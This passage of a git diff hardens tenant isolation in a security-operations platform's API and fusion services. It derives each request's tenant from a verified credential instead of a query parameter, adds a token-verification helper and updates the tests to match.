- resp = client.post("/api/v1/cases/CASE-003/triage", json=body)
+ resp = client.post("/api/v1/cases/CASE-003/triage", json=body, headers=_auth())
assert resp.status_code == 200
assert resp.json()["topology"] == "parallel"
@@ -254,7 +301,7 @@ def test_invalid_topology_value_returns_400(
body = _multi_signal_payload()
body["topology"] = "diagonal"
- resp = client.post("/api/v1/cases/CASE-004/triage", json=body)
+ resp = client.post("/api/v1/cases/CASE-004/triage", json=body, headers=_auth())
assert resp.status_code == 400
assert "diagonal" in resp.json()["detail"]
@@ -273,7 +320,7 @@ def test_run_completes_and_exposes_router_telemetry(
_patch_runners(monkeypatch)
client = TestClient(_build_app())
- resp = client.post("/api/v1/cases/CASE-005/triage", json=_multi_signal_payload())
+ resp = client.post("/api/v1/cases/CASE-005/triage", json=_multi_signal_payload(), headers=_auth())
assert resp.status_code == 200
run_id = resp.json()["run_id"]
@@ -299,7 +346,7 @@ def test_auto_close_short_circuits_router(
_patch_runners(monkeypatch, auto_close=True)
client = TestClient(_build_app())
- resp = client.post("/api/v1/cases/CASE-006/triage", json=_multi_signal_payload())
+ resp = client.post("/api/v1/cases/CASE-006/triage", json=_multi_signal_payload(), headers=_auth())
assert resp.status_code == 200
run_id = resp.json()["run_id"]
@@ -319,7 +366,7 @@ def test_get_unknown_run_id_returns_404(monkeypatch: pytest.MonkeyPatch) -> None
_silence_realtime(monkeypatch)
client = TestClient(_build_app())
- resp = client.get(f"/api/v1/triage/{uuid4()}")
+ resp = client.get(f"/api/v1/triage/{uuid4()}", headers=_auth())
assert resp.status_code == 404
assert resp.json()["detail"] == "Triage run not found"
@@ -333,7 +380,7 @@ def test_post_accepts_minimal_body_with_only_case_path(
_patch_runners(monkeypatch)
client = TestClient(_build_app())
- resp = client.post("/api/v1/cases/CASE-007/triage", json={})
+ resp = client.post("/api/v1/cases/CASE-007/triage", json={}, headers=_auth())
assert resp.status_code == 200, resp.text
body = resp.json()
assert body["topology"] == "parallel"
@@ -354,6 +401,13 @@ def test_get_with_mismatched_tenant_returns_404(
The handler returns 404 (not 403) on mismatch so a probing caller
can't distinguish "wrong tenant" from "no such run" — same shape as
the unknown-run-id branch above.
+
+ This test used to pass a `tenant_id` query parameter for both sides, so
+ all it really checked was that the route compared a value against a copy
+ of itself — which any caller enumerating run IDs could satisfy by simply
+ guessing the tenant string too. Tenant B now arrives holding tenant B's
+ credential, which is the only version of this assertion that means
+ anything.
"""
monkeypatch.delenv(PARALLEL_TOPOLOGY_FLAG, raising=False)
_silence_realtime(monkeypatch)
@@ -363,22 +417,29 @@ def test_get_with_mismatched_tenant_returns_404(
# Launch a run as tenant "acme".
resp = client.post(
"/api/v1/cases/CASE-TENANT-A/triage",
- json={**_multi_signal_payload(), "tenant_id": "acme"},
+ json={**_multi_signal_payload(), "tenant_id": TENANT_A},
+ headers=_auth(TENANT_A),
)
assert resp.status_code == 200, resp.text
run_id = resp.json()["run_id"]
- # Owning tenant gets 200.
- own = client.get(f"/api/v1/triage/{run_id}", params={"tenant_id": "acme"})
+ # Owning tenant gets 200. Asserted first, so the refusals below are
+ # refusals of something that genuinely exists.
+ own = client.get(f"/api/v1/triage/{run_id}", headers=_auth(TENANT_A))
assert own.status_code == 200, own.text
- assert own.json()["tenant_id"] == "acme"
+ assert own.json()["tenant_id"] == TENANT_A
- # Different tenant gets 404, NOT 200 with the other tenant's findings.
- other = client.get(f"/api/v1/triage/{run_id}", params={"tenant_id": "evilcorp"})
+ # Tenant B, holding tenant B's own valid credential, gets 404 — not 200
+ # with tenant A's findings, and not 403 either.
+ other = client.get(f"/api/v1/triage/{run_id}", headers=_auth(TENANT_B))
assert other.status_code == 404
assert other.json()["detail"] == "Triage run not found"
- # Absent tenant_id falls back to "default" and still 404s — fail closed.
- no_tenant = client.get(f"/api/v1/triage/{run_id}")
- assert no_tenant.status_code == 404
- assert no_tenant.json()["detail"] == "Triage run not found"
+ # No credential at all is refused before the run is even looked up.
+ anon = client.get(f"/api/v1/triage/{run_id}")
+ assert anon.status_code == 401
+
+ # A tenant named in the query string is not a tenant. The parameter is
+ # gone; supplying it must not resurrect the old behaviour.
+ spoofed = client.get(f"/api/v1/triage/{run_id}", params={"tenant_id": TENANT_A}, headers=_auth(TENANT_B))
+ assert spoofed.status_code == 404
diff --git a/services/api/app/api/v1/endpoints/easm.py b/services/api/app/api/v1/endpoints/easm.py
index 60bd0f5f0..4b1f98074 100644
--- a/services/api/app/api/v1/endpoints/easm.py
+++ b/services/api/app/api/v1/endpoints/easm.py
@@ -16,6 +16,7 @@ from app.core.config import get_settings
from app.db.database import get_db
from app.models.easm import ExternalAsset, ExternalAssetDrift, ExternalAssetType
from app.models.tenant import Tenant
+from app.security.tenant_scope import scoped_tenant_or_403
from app.services.easm_discovery import run_discovery
from app.services.easm_drift import detect_drift
@@ -72,13 +73,12 @@ async def trigger_easm_scan(
if not s.AISOC_FEATURE_EASM:
raise HTTPException(status_code=403, detail="EASM feature is disabled")
- if body.tenant_id != current_user.tenant_id:
- raise HTTPException(
- status_code=status.HTTP_403_FORBIDDEN,
- detail="Cannot trigger EASM scan for a different tenant",
- )
+ # The tenant on the body is a request, not an instruction: it is
+ # intersected with the caller's scope, and everything downstream uses the
+ # resolved value rather than `body.tenant_id`.
+ scoped_tenant = scoped_tenant_or_403(current_user, body.tenant_id)
- tenant = await db.get(Tenant, body.tenant_id)
+ tenant = await db.get(Tenant, scoped_tenant)
if not tenant:
raise HTTPException(status_code=404, detail="Tenant not found")
@@ -86,14 +86,14 @@ async def trigger_easm_scan(
background_tasks.add_task(
_run_scan_job,
- body.tenant_id,
+ scoped_tenant,
org_query,
body.ip_targets,
)
return {
"status": "accepted",
- "tenant_id": str(body.tenant_id),
+ "tenant_id": str(scoped_tenant),
"org_query": org_query,
"message": "EASM scan enqueued.",
}
@@ -114,12 +114,7 @@ async def list_external_assets(
can never request another tenant's assets — supplying a foreign
``tenant_id`` returns 403.
"""
- if tenant_id is not None and tenant_id != current_user.tenant_id:
- raise HTTPException(
- status_code=status.HTTP_403_FORBIDDEN,
- detail="Cannot list EASM assets for a different tenant",
- )
- effective_tenant = current_user.tenant_id
+ effective_tenant = scoped_tenant_or_403(current_user, tenant_id)
stmt = select(ExternalAsset).where(ExternalAsset.tenant_id == effective_tenant).order_by(ExternalAsset.last_seen.desc()).limit(limit)
if asset_type:
stmt = stmt.where(ExternalAsset.asset_type == asset_type)
@@ -152,12 +147,7 @@ async def list_external_asset_drift(
A user can never request another tenant's drift events — supplying a
foreign ``tenant_id`` returns 403.
"""
- if tenant_id is not None and tenant_id != current_user.tenant_id:
- raise HTTPException(
- status_code=status.HTTP_403_FORBIDDEN,
- detail="Cannot list EASM drift for a different tenant",
- )
- effective_tenant = current_user.tenant_id
+ effective_tenant = scoped_tenant_or_403(current_user, tenant_id)
stmt = (
select(ExternalAssetDrift)
.where(ExternalAssetDrift.tenant_id == effective_tenant)
diff --git a/services/api/app/api/v1/endpoints/fusion.py b/services/api/app/api/v1/endpoints/fusion.py
index a016115ae..e54d848b4 100644
--- a/services/api/app/api/v1/endpoints/fusion.py
+++ b/services/api/app/api/v1/endpoints/fusion.py
@@ -34,7 +34,9 @@ from uuid import UUID
import httpx
from fastapi import APIRouter, HTTPException, Query
+from app.api.v1.deps import AuthUser
from app.core.logging import safe_log_value
+from app.security.tenant_scope import scoped_tenant_or_403
logger = logging.getLogger(__name__)
@@ -45,6 +47,34 @@ router = APIRouter(prefix="/fusion", tags=["fusion"])
# gracefully instead of bubbling 5xx into the analyst console.
_FUSION_URL = (os.getenv("FUSION_SERVICE_URL") or os.getenv("FUSION_URL") or "").rstrip("/")
+# Header the upstream fusion service reads to learn which tenant a trusted
+# service is acting for. Must match ``TENANT_HEADER`` in
+# services/fusion/app/security/tenant_scope.py.
+_TENANT_HEADER = "X-AiSOC-Tenant-ID"
+
+
+def _service_token() -> str:
+ """Shared secret this gateway presents to the fusion service."""
+ specific = (os.getenv("AISOC_FUSION_SERVICE_TOKEN") or "").strip()
+ return specific or (os.getenv("AISOC_SERVICE_TOKEN") or "").strip()
+
+
+def _upstream_headers(tenant_id: UUID) -> dict[str, str]:
+ """Credential + tenant assertion for a proxied entity-risk call.
+
+ The gateway has already authenticated the browser and resolved the tenant
+ from the principal; upstream needs both facts. Without a configured
+ service token we still send the tenant assertion, so a dev-mode fusion
+ keeps working while a production fusion (which fails closed without a
+ token) correctly refuses.
+ """
+ headers = {_TENANT_HEADER: str(tenant_id)}
+ token = _service_token()
+ if token:
+ headers["Authorization"] = f"Bearer {token}"
+ return headers
+
+
# Tight allowlist for proxied request paths. We only ever proxy to a fixed
# upstream (`_FUSION_URL`) on a known set of routes, so the path must be a
# pure relative path with no scheme, host, control characters, or traversal
@@ -62,14 +92,18 @@ def _validate_proxy_path(path: str) -> str:
return path
-async def _proxy_get(path: str, params: dict[str, Any] | None = None) -> dict[str, Any] | None:
+async def _proxy_get(
+ path: str,
+ params: dict[str, Any] | None = None,
+ headers: dict[str, str] | None = None,
+) -> dict[str, Any] | None:
"""Forward GET to fusion if configured. Return None on transport error."""
if not _FUSION_URL:
return None
safe_path = _validate_proxy_path(path)
try:
async with httpx.AsyncClient(timeout=15.0) as client:
- resp = await client.get(f"{_FUSION_URL}{safe_path}", params=params or {})
+ resp = await client.get(f"{_FUSION_URL}{safe_path}", params=params or {}, headers=headers or {})
if resp.status_code >= 500:
logger.warning(
"fusion.upstream_error",
@@ -142,39 +176,52 @@ async def ml_status() -> dict[str, Any]:
_DEFAULT_THRESHOLD = 100.0
+# These three routes used to take `tenant_id` as a required query parameter
+# with no auth dependency at all, so any caller could read any tenant's
+# entity-risk rollup by naming its UUID. The tenant now comes from the
+# authenticated principal; the parameter survives only as an optional filter
+# that is intersected with the caller's scope, so naming a foreign tenant is
+# a 403 rather than a selector for someone else's data.
+
+
@router.get("/entity-risk/queue", summary="Top entities by risk score")
async def entity_risk_queue(
- tenant_id: UUID,
+ user: AuthUser,
+ tenant_id: UUID | None = None,
limit: int = Query(default=25, ge=1, le=200),
promoted_only: bool = False,
) -> dict[str, Any]:
+ scoped = scoped_tenant_or_403(user, tenant_id)
upstream = await _proxy_get(
"/entity-risk/queue",
params={
- "tenant_id": str(tenant_id),
+ "tenant_id": str(scoped),
"limit": limit,
"promoted_only": str(promoted_only).lower(),
},
+ headers=_upstream_headers(scoped),
)
if upstream is not None:
return upstream
return {
- "tenant_id": str(tenant_id),
+ "tenant_id": str(scoped),
"threshold": _DEFAULT_THRESHOLD,
"entities": [],
}
@router.get("/entity-risk/stats", summary="Entity-risk queue stats")
-async def entity_risk_stats(tenant_id: UUID) -> dict[str, Any]:
+async def entity_risk_stats(user: AuthUser, tenant_id: UUID | None = None) -> dict[str, Any]:
+ scoped = scoped_tenant_or_403(user, tenant_id)
upstream = await _proxy_get(
"/entity-risk/stats",
- params={"tenant_id": str(tenant_id)},
+ params={"tenant_id": str(scoped)},
+ headers=_upstream_headers(scoped),
)
if upstream is not None:
return upstream
return {
- "tenant_id": str(tenant_id),
+ "tenant_id": str(scoped),
"threshold": _DEFAULT_THRESHOLD,
"total": 0,
"promoted": 0,
@@ -190,8 +237,10 @@ async def entity_risk_stats(tenant_id: UUID) -> dict[str, Any]:
async def entity_risk_detail(
entity_type: str,
entity_value: str,
- tenant_id: UUID,
+ user: AuthUser,
+ tenant_id: UUID | None = None,
) -> dict[str, Any]:
+ scoped = scoped_tenant_or_403(user, tenant_id)
if entity_type == "ip":
entity_type = "src_ip"
# URL-encode user-controlled path segments so they cannot inject `/`,
@@ -200,7 +249,8 @@ async def entity_risk_detail(
safe_value = quote(entity_value, safe="")
upstream = await _proxy_get(
f"/entity-risk/{safe_type}/{safe_value}",
- params={"tenant_id": str(tenant_id)},
+ params={"tenant_id": str(scoped)},
+ headers=_upstream_headers(scoped),
)
if upstream is not None:
return upstream
diff --git a/services/api/app/api/v1/endpoints/metrics.py b/services/api/app/api/v1/endpoints/metrics.py
index 027dcfeba..b2f151ffa 100644
--- a/services/api/app/api/v1/endpoints/metrics.py
+++ b/services/api/app/api/v1/endpoints/metrics.py
@@ -406,6 +406,14 @@ class SOCKpis(BaseModel):
mttd_sample_count: int = 0
mttr_sample_count: int = 0
mttc_sample_count: int = 0
+ # The two rates have the same defect as the means had, one step removed:
+ # `x / n if n > 0 else 0.0` renders an undefined ratio as a confident
+ # zero. "0% false positives" and "0% escalated" are the two best numbers
+ # on the page, and a tenant that has resolved nothing and gated nothing
+ # scored both. The denominator travels with each rate for the same reason
+ # and in the same shape as the sample counts above.
+ false_positive_rate_sample_count: int = 0
+ escalation_rate_sample_count: int = 0
class AttackHeatmapCell(BaseModel):
@@ -582,6 +590,8 @@ async def get_soc_metrics(
mttd_sample_count=mttd_samples,
mttr_sample_count=mttr_samples,
mttc_sample_count=mttc_samples,
+ false_positive_rate_sample_count=total_resolved,
+ escalation_rate_sample_count=total_decisions,
)
# ── ATT&CK heatmap ────────────────────────────────────────────────────────
diff --git a/services/api/app/security/tenant_scope.py b/services/api/app/security/tenant_scope.py
new file mode 100644
index 000000000..5adeb2f63
--- /dev/null
+++ b/services/api/app/security/tenant_scope.py
@@ -0,0 +1,97 @@
+"""Intersect a client-supplied tenant with the authenticated principal's scope.
+
+The API service already resolves an authenticated principal on almost every
+route (``AuthUser`` → :class:`~app.api.v1.deps.CurrentUser`), so the tenant is
+available without the caller naming it. Some routes still accept a
+``tenant_id`` query parameter anyway — for a console that passes it explicitly,
+or an MSSP operator narrowing to one managed customer — and that parameter is
+where the isolation question lives.
+
+This module is the one place that answers it. The rule is intersection:
+
+* no ``tenant_id`` supplied → the principal's own tenant;
+* a ``tenant_id`` the principal holds → that tenant;
+* anything else → 403, never the requested tenant's rows.
+
+Several routes already did this inline, correctly, with a hand-written
+``if tenant_id != current_user.tenant_id: raise 403``. Correct, but invisible:
+a structural gate cannot see it, a reviewer has to notice its absence rather
+than its presence, and the next route to be written copies whichever neighbour
+it happened to look at. Naming the operation makes the property checkable —
+``scripts/check_route_tenant_scope.py`` fails the build when a route takes a
+tenant identifier and never passes it through one of these.
+
+Cross-tenant surfaces (the MSSP portfolio) are a different shape and keep
+their own resolver, :mod:`app.services.org_scope`, which answers "which
+tenants" rather than "which tenant". Both refuse on an empty scope rather than
+widening to all — that is the invariant they share, and the one every
+cross-tenant leak in this codebase has broken.
+"""
+
+from __future__ import annotations
+
+import logging
+import uuid
+
+from fastapi import HTTPException, status
+
+logger = logging.getLogger("aisoc.tenant_scope")
+
+
+class TenantScopeError(Exception):
+ """A read was attempted for a tenant the principal does not hold."""
+
+
+def resolve_scoped_tenant(
+ user: object,
+ requested: uuid.UUID | str | None = None,
+) -> uuid.UUID:
+ """Return the tenant this request may read, or raise.
+
+ ``user`` is any object carrying a ``tenant_id`` — in practice
+ :class:`~app.api.v1.deps.CurrentUser`. Typed loosely so this module stays
+ importable from anywhere without dragging in the dependency graph of
+ ``app.api.v1.deps``.
+ """
+ own = getattr(user, "tenant_id", None)
+ if own is None:
+ raise TenantScopeError("authenticated principal carries no tenant")
+ own_uuid = own if isinstance(own, uuid.UUID) else uuid.UUID(str(own))
+
+ if requested is None:
+ return own_uuid
+
+ try:
+ wanted = requested if isinstance(requested, uuid.UUID) else uuid.UUID(str(requested))
+ except (ValueError, AttributeError, TypeError) as exc:
+ raise TenantScopeError("requested tenant is not a UUID") from exc
+
+ if wanted != own_uuid:
+ # Warning, not debug: a caller reaching for a tenant they do not hold
+ # is a security event. Sanitised inline at the call site rather than
+ # through a helper — CodeQL does not follow a helper across the call
+ # boundary, and making the property visible to the next reader is
+ # worth more than the deduplication.
+ logger.warning(
+ "tenant_scope.refused user=%s own=%s requested=%s",
+ str(getattr(user, "user_id", "unknown")).replace("\r", "").replace("\n", " ")[:64],
+ str(own_uuid).replace("\r", "").replace("\n", " ")[:64],
+ str(wanted).replace("\r", "").replace("\n", " ")[:64],
+ )
+ raise TenantScopeError("requested tenant is outside the caller's authorised scope")
+ return own_uuid
+
+
+def scoped_tenant_or_403(
+ user: object,
+ requested: uuid.UUID | str | None = None,
+) -> uuid.UUID:
+ """:func:`resolve_scoped_tenant`, surfaced to HTTP as 403.
+
+ Routes call this so a refusal reaches the client as a refusal rather than
+ a 500, without every route repeating the same try/except.
+ """
+ try:
+ return resolve_scoped_tenant(user, requested)
+ except TenantScopeError as exc:
+ raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=str(exc)) from exc
diff --git a/services/fusion/app/api/router.py b/services/fusion/app/api/router.py
index a239be0cc..dc147dff5 100644
--- a/services/fusion/app/api/router.py
+++ b/services/fusion/app/api/router.py
@@ -1,12 +1,24 @@
from __future__ import annotations
+from typing import Annotated
from uuid import UUID
-from fastapi import APIRouter, HTTPException, Query
+from fastapi import APIRouter, Depends, HTTPException, Query
from app.models.alert import AnalystFeedback, FusedAlert, FusionDecision, RawAlert
+from app.security.tenant_scope import (
+ TenantPrincipal,
+ require_console_or_service_auth,
+ scoped_tenant_or_403,
+)
from app.workers.consumer import FusionWorker
+#: The console reaches this service *directly* through a Next rewrite when
+#: `FUSION_URL` is set, so these routes are internet-reachable and must
+#: establish the tenant from the caller's credential rather than from a query
+#: parameter. See app/security/tenant_scope.py.
+ScopedPrincipal = Annotated[TenantPrincipal, Depends(require_console_or_service_auth)]
+
router = APIRouter()
_worker_ref: FusionWorker | None = None
@@ -100,7 +112,8 @@ def _require_entity_risk():
@router.get("/entity-risk/queue")
async def entity_risk_queue(
- tenant_id: UUID,
+ principal: ScopedPrincipal,
+ tenant_id: UUID | None = None,
limit: int = Query(default=25, ge=1, le=200),
promoted_only: bool = False,
):
@@ -110,31 +123,44 @@ async def entity_risk_queue(
enabled — analysts work the highest-risk entities and the contributing
alerts are surfaced as evidence. Closes the 2026 KPI bar of
``alert-to-incident ratio ≥ 50:1``.
+
+ ``tenant_id`` is an optional *filter*, not a selector: it is intersected
+ with the credential's scope, so naming a tenant the caller does not hold
+ returns 403 rather than that tenant's queue. Omitting it reads the
+ caller's own tenant.
"""
+ scoped = scoped_tenant_or_403(principal, tenant_id)
eng = _require_entity_risk()
- records = await eng.top_entities(tenant_id, limit=limit, promoted_only=promoted_only)
+ records = await eng.top_entities(scoped, limit=limit, promoted_only=promoted_only)
return {
- "tenant_id": str(tenant_id),
+ "tenant_id": str(scoped),
"threshold": eng.threshold,
"entities": [r.to_dict() for r in records],
}
@router.get("/entity-risk/stats")
-async def entity_risk_stats(tenant_id: UUID):
+async def entity_risk_stats(principal: ScopedPrincipal, tenant_id: UUID | None = None):
"""Tenant-scoped queue stats for dashboards (banding, totals, threshold)."""
+ scoped = scoped_tenant_or_403(principal, tenant_id)
eng = _require_entity_risk()
- return {"tenant_id": str(tenant_id), **(await eng.stats(tenant_id))}
+ return {"tenant_id": str(scoped), **(await eng.stats(scoped))}
@router.get("/entity-risk/{entity_type}/{entity_value}")
-async def entity_risk_detail(entity_type: str, entity_value: str, tenant_id: UUID):
+async def entity_risk_detail(
+ entity_type: str,
+ entity_value: str,
+ principal: ScopedPrincipal,
+ tenant_id: UUID | None = None,
+):
"""Return the full risk record (contributing alerts + severity histogram)
for a single entity, used by the alert-detail drawer."""
+ scoped = scoped_tenant_or_403(principal, tenant_id)
if entity_type == "ip":
entity_type = "src_ip"
eng = _require_entity_risk()
- record = await eng.get(tenant_id, entity_type, entity_value)
+ record = await eng.get(scoped, entity_type, entity_value)
if record is None:
raise HTTPException(status_code=404, detail="entity_not_found")
return record.to_dict()
diff --git a/services/fusion/app/security/__init__.py b/services/fusion/app/security/__init__.py
new file mode 100644
index 000000000..1648dbacd
--- /dev/null
+++ b/services/fusion/app/security/__init__.py
@@ -0,0 +1 @@
+"""Security helpers for this service."""
diff --git a/services/fusion/app/security/tenant_scope.py b/services/fusion/app/security/tenant_scope.py
new file mode 100644
index 000000000..2ad208bca
--- /dev/null
+++ b/services/fusion/app/security/tenant_scope.py
@@ -0,0 +1,383 @@
+"""Resolve which tenant a request may read, from the caller's credential.
+
+Vendored byte-identical into each Python service that needs it, following the
+same convention as ``app/core/cors.py`` and ``app/security/service_auth.py``.
+Keep the copies in sync — ``scripts/check_vendored_tenant_scope.py`` fails the
+build if they drift.
+
+Why this exists
+---------------
+``/fusion/entity-risk/*`` took the tenant as a query parameter with no auth
+dependency on the route, on both the API gateway and the fusion service. The
+console reaches fusion *directly* through a Next rewrite when ``FUSION_URL`` is
+set, so that parameter was reachable from any browser on the internet, and
+naming somebody else's tenant UUID returned their entity-risk queue.
+
+Validating the parameter's *value* does not fix that. A UUID that parses is
+still a UUID the caller chose. The scope has to come from somewhere the caller
+does not control, which means the credential.
+
+Two credential shapes reach these services, so this module resolves both:
+
+``console`` — the browser's first-party access token, HS256-signed by
+ ``services/api`` (``create_access_token``) and carrying a verified
+ ``tenant_id`` claim. That claim is authoritative.
+``service`` — the shared service bearer token used for service-to-service
+ calls. It identifies *a trusted service*, not a tenant, so a caller
+ presenting it must also assert which tenant it is acting for, on the
+ ``X-AiSOC-Tenant-ID`` header. The assertion is explicit and required: a
+ service token with no tenant header resolves to an **empty** scope, and an
+ empty scope refuses rather than widening.
+
+That last sentence is the whole design. Every cross-tenant leak this codebase
+has had took the same shape — a scope that was absent rather than narrow, and
+a read that treated absent as "no filter".
+
+We verify HS256 by hand with the standard library rather than adding a JWT
+dependency to five services, exactly as ``services/realtime/src/auth.ts`` does
+for the same reason on the Node side. ``services/api`` remains the sole issuer;
+this is a read path, like the vendored ``decrypt_dict()`` that lets the
+connector scheduler decrypt without owning the write path.
+
+Configuration
+-------------
+``SECRET_KEY``
+ The HS256 secret ``services/api`` signs console tokens with. Without it
+ this service cannot verify a console session and will only accept service
+ tokens.
+``AISOC_SERVICE_TOKEN`` / ``AISOC_<SERVICE>_SERVICE_TOKEN``
+ Shared secret for service-to-service calls, resolved by
+ ``app.security.service_auth.resolve_token`` where that module exists.
+``AISOC_DEV_MODE``
+ When set and *no* credential material is configured at all, requests
+ resolve to the demo tenant so a local ``docker compose up`` works. This is
+ the single canonical dev-mode flag; ``tests/test_security_defaults.py``
+ asserts no shortcut is reachable when it is unset.
+"""
+
+from __future__ import annotations
+
+import base64
+import binascii
+import hashlib
+import hmac
+import json
+import logging
+import os
+import time
+import uuid
+from dataclasses import dataclass, field
+
+from fastapi import Header, HTTPException, status
+
+#: Set by each vendored copy so the per-service token override resolves.
+SERVICE_NAME = "FUSION"
+
+logger = logging.getLogger("aisoc.tenant_scope")
+
+_TRUTHY = {"1", "true", "yes", "on"}
+
+#: Mirrors ``INSECURE_SECRET_KEY_DEFAULTS`` in services/api/app/core/config.py
+#: so a placeholder secret is treated as "unset" on this side too. Verifying a
+#: token signed with a well-known literal would authenticate anybody who read
+#: the repository.
+INSECURE_SECRET_DEFAULTS = frozenset(
+ {
+ "change-me-in-production-at-least-32-chars",
+ "dev_secret_key_change_in_production",
+ "changeme",
+ "secret",
+ }
+)
+
+#: Deterministic demo tenant, matching ``DEMO_TENANT_ID`` in
+#: services/api/app/api/v1/dev_auth.py. Only ever used under AISOC_DEV_MODE.
+DEV_TENANT_ID = uuid.UUID("00000000-0000-0000-0000-000000000001")
+
+#: Header a trusted service uses to declare which tenant it is acting for.
+TENANT_HEADER = "X-AiSOC-Tenant-ID"
+
+#: 30s clock-skew leeway, matching the Node verifier and common JWT defaults.
+_CLOCK_SKEW_SECONDS = 30
+
+#: Refs that mean "the caller did not name a tenant" rather than naming one.
+#: Several request models default ``tenant_id`` to the string ``"default"``,
+#: which is a placeholder, not a tenant — migration 001 seeds the canonical
+#: tenant with that *slug* and the demo seed renames it, so the literal
+#: identifies nothing anywhere. Treating it as a request for a tenant called
+#: "default" would refuse every caller who simply left the field alone.
+PLACEHOLDER_TENANT_REFS = frozenset({"", "default", "none", "null"})
+
+
+class TenantScopeError(Exception):
+ """A read was attempted without a resolved tenant scope.
+
+ Raised by :func:`resolve_scoped_tenant`. Routes let it surface as a 403;
+ it means a query was about to run with no tenant filter, or with one the
+ caller is not authorised for.
+ """
+
+
+@dataclass(frozen=True)
+class TenantPrincipal:
+ """The tenants one credential may read, and what kind of credential it is.
+
+ ``tenant_ids`` is authoritative and exhaustive. Nothing downstream may
+ widen it, and no code path may substitute "all tenants" for an empty one.
+ """
+
+ tenant_ids: frozenset[uuid.UUID] = field(default_factory=frozenset)
+ subject: str = "anonymous"
+ #: True when a service token asserted the tenant rather than a verified
+ #: console claim carrying it. Surfaced so logs can tell the two apart.
+ delegated: bool = False
+
+ @property
+ def is_empty(self) -> bool:
+ return not self.tenant_ids
+
+ def covers(self, tenant_id: uuid.UUID) -> bool:
+ return tenant_id in self.tenant_ids
+
+ def ordered_ids(self) -> list[uuid.UUID]:
+ return sorted(self.tenant_ids)
+
+
+EMPTY_PRINCIPAL = TenantPrincipal()
+
+
+def resolve_scoped_tenant(
+ principal: TenantPrincipal,
+ requested: uuid.UUID | str | None = None,
+) -> uuid.UUID:
+ """The one tenant this request may read, or refuse to name one.
+
+ Intersection only. A ``requested`` tenant inside the principal's scope is
+ honoured — that is an MSSP operator narrowing to one managed customer. A
+ ``requested`` tenant outside it narrows to nothing and raises, rather than
+ reaching outside. Passing ``None`` means "the caller's own tenant", which
+ is the common case and the safe default.
+ """
+ if principal.is_empty:
+ raise TenantScopeError("refusing to read with an empty tenant scope")
+
+ if isinstance(requested, str) and requested.strip().lower() in PLACEHOLDER_TENANT_REFS:
+ requested = None
+
+ if requested is None:
+ if len(principal.tenant_ids) != 1:
+ raise TenantScopeError(f"caller reaches {len(principal.tenant_ids)} tenants; the request must name one")
+ return next(iter(principal.tenant_ids))
+
+ try:
+ wanted = requested if isinstance(requested, uuid.UUID) else uuid.UUID(str(requested))
+ except (ValueError, AttributeError, TypeError) as exc:
+ raise TenantScopeError("requested tenant is not a UUID") from exc
+
+ if not principal.covers(wanted):
+ # Logged at warning with the subject, because a caller reaching for a
+ # tenant they do not hold is a security event, not routine noise.
+ logger.warning(
+ "tenant_scope.refused subject=%s requested=%s scope_size=%d",
+ # Sanitised inline rather than through a helper: CodeQL does not
+ # track a helper across the call boundary, and `subject` really is
+ # attacker-influenced — it carries the JWT `sub` claim.
+ str(principal.subject).replace("\r", "").replace("\n", " ")[:128],
+ str(wanted).replace("\r", "").replace("\n", " ")[:64],
+ len(principal.tenant_ids),
+ )
+ raise TenantScopeError("requested tenant is outside the caller's authorised scope")
+ return wanted
+
+
+# ---------------------------------------------------------------------------
+# Credential resolution
+# ---------------------------------------------------------------------------
+
+
+def _dev_mode() -> bool:
+ return os.getenv("AISOC_DEV_MODE", "").strip().lower() in _TRUTHY
+
+
+def resolve_console_secret() -> str:
+ """The HS256 secret console tokens are signed with, or "" when unusable."""
+ secret = (os.getenv("SECRET_KEY") or "").strip()
+ if not secret or secret in INSECURE_SECRET_DEFAULTS:
+ return ""
+ return secret
+
+
+def resolve_service_token() -> str:
+ """Per-service override wins, then the shared platform token."""
+ specific = os.getenv(f"AISOC_{SERVICE_NAME}_SERVICE_TOKEN", "").strip()
+ if specific:
+ return specific
+ return os.getenv("AISOC_SERVICE_TOKEN", "").strip()
+
+
+def _b64url_decode(segment: str) -> bytes:
+ padding = "=" * (-len(segment) % 4)
+ return base64.urlsafe_b64decode(segment + padding)
+
+
+def verify_console_token(token: str, secret: str) -> dict | None:
+ """Verify a first-party HS256 access token. Return claims, or None.
+
+ Mirrors ``verifyRealtimeTicket`` in services/realtime/src/auth.ts. The
+ signing side is ``create_access_token`` in services/api/app/core/security.py
+ and must stay in sync with the claims checked here.
+ """
+ if not token or not secret:
+ return None
+ parts = token.split(".")
+ if len(parts) != 3:
+ return None
+ header_b64, payload_b64, sig_b64 = parts
+
+ try:
+ header = json.loads(_b64url_decode(header_b64))
+ except (ValueError, binascii.Error, UnicodeDecodeError):
+ return None
+ # Reject "alg: none" and asymmetric algorithms so a caller cannot downgrade
+ # the verification into no verification at all.
+ if not isinstance(header, dict) or header.get("alg") != "HS256":
+ return None
+
+ expected = hmac.new(
+ secret.encode("utf-8"),
+ f"{header_b64}.{payload_b64}".encode(),
+ hashlib.sha256,
+ ).digest()
+ try:
+ provided = _b64url_decode(sig_b64)
+ except (ValueError, binascii.Error):
+ return None
+ if not hmac.compare_digest(expected, provided):
+ return None
+
+ try:
+ claims = json.loads(_b64url_decode(payload_b64))
+ except (ValueError, binascii.Error, UnicodeDecodeError):
+ return None
+ if not isinstance(claims, dict):
+ return None
+
+ # A refresh token must not buy access; the API sets type="access" on the
+ # short-lived one and type="refresh" on the long-lived one.
+ if claims.get("type") != "access":
+ return None
+ exp = claims.get("exp")
+ if not isinstance(exp, int | float):
+ return None
+ if exp + _CLOCK_SKEW_SECONDS < time.time():
+ return None
+ if not claims.get("tenant_id"):
+ return None
+ return claims
+
+
+def _principal_from_claims(claims: dict) -> TenantPrincipal | None:
+ try:
+ tenant = uuid.UUID(str(claims["tenant_id"]))
+ except (KeyError, ValueError, TypeError):
+ return None
+ return TenantPrincipal(
+ tenant_ids=frozenset({tenant}),
+ subject=f"console:{claims.get('sub', 'unknown')}",
+ delegated=False,
+ )
+
+
+async def require_console_or_service_auth(
+ authorization: str | None = Header(default=None),
+ x_aisoc_tenant_id: str | None = Header(default=None, alias=TENANT_HEADER),
+) -> TenantPrincipal:
+ """FastAPI dependency. Resolve the caller's tenant scope, or fail closed.
+
+ Order matters only for clarity — the two credential shapes are disjoint. A
+ console token carries its own tenant; a service token must declare one.
+ """
+ console_secret = resolve_console_secret()
+ service_token = resolve_service_token()
+
+ if not console_secret and not service_token:
+ if _dev_mode():
+ return TenantPrincipal(
+ tenant_ids=frozenset({DEV_TENANT_ID}),
+ subject="dev",
+ delegated=False,
+ )
+ # No credential material configured at all: refuse to serve rather
